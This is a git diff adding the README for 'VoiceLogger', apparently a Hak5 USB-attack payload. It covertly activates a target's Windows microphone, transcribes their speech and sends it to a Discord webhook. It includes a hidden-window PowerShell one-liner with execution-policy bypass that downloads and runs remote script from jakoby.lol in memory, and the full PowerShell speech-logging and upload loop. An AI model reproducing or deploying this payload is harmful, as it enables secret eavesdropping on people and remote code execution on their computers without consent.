diff --git a/Payloads/VoiceLogger/readme.md b/Payloads/VoiceLogger/readme.md index 48cdce8..625cdf5 100644 --- a/Payloads/VoiceLogger/readme.md +++ b/Payloads/VoiceLogger/readme.md @@ -1 +1,149 @@ -placeholder +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# VoiceLogger + +## Description + +This payload activates your targets microphone and converts their speech to text and exfils it to discord +With the optional functionality of incorporating voice activated payloads + +## Getting Started + +### Dependencies + +* Windows 10,11 + +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory + +`$dc` is the variable that stores your Discord webhook + +``` +powershell -w h -NoP -Ep Bypass $dc='';irm jakoby.lol/voiceLogger | iex +``` + +### The Function + +- The voiceLogger function leverages the System.Speech namespace to create a continuous speech-to-text logger. +- It initializes a speech recognition engine, loads a dictation grammar, and sets the input to the default audio device. +- The script then enters an infinite loop where it listens for speech input and recognizes the text. +- The recognized text is written to the output and saved to a temporary log file. +- The log file content is then uploaded using the DC-Upload function. +- Additionally, the script checks for specific voice commands using a switch statement with regex patterns: if the word "notepad" is detected, it launches Notepad, +- and if the word "exit" is detected, it breaks the loop and stops the voice logger. +- Once the loop is terminated, the log file's content is cleared. + +```powershell +function voiceLogger { + + Add-Type -AssemblyName System.Speech + $recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine + $grammar = New-Object System.Speech.Recognition.DictationGrammar + $recognizer.LoadGrammar($grammar) + $recognizer.SetInputToDefaultAudioDevice() + + while ($true) { + $result = $recognizer.Recognize() + if ($result) { + $results = $result.Text + Write-Output $results + $log = "$env:tmp/VoiceLog.txt" + echo $results > $log + $text = get-content $log -raw + DC-Upload $text + + # Use a switch statement with the $results variable + switch -regex ($results) { + '\bnotepad\b' {saps notepad} + '\bexit\b' {exit} + } + } + } + Clear-Content -Path $log +} +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Golang + +
Instagram +
+ + Jsonnet + +
Discord +
+ + Jsonnet + +
TikTok +
+
+ + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + +

(back to top)